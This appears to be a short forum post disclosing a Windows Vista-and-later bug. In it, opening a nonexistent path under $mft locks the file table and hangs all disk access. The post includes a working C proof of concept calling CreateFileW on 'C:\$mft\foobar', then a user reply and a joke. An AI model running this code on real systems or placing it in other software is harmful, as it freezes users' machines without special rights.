Meanwhile in windows world

[abishai]

Attempt to open any unexistent entry under $mft hangs entire disk access in Windows Vista or later. No special rights required. Hangs occurs as entire mft locked in exclusive mode and handle is not freed.

#include <stdio.h>
#include <stdlib.h>
#include <windows.h>

int main() {
   CreateFileW( L"C:\\$mft\\foobar", FILE_READ_ATTRIBUTES, 0, NULL, OPEN_EXISTING, 0, NULL );
    return 0;
}

I checked it and my Windows 7 hangs perfectly.

I find this waste of #includes disturbing.
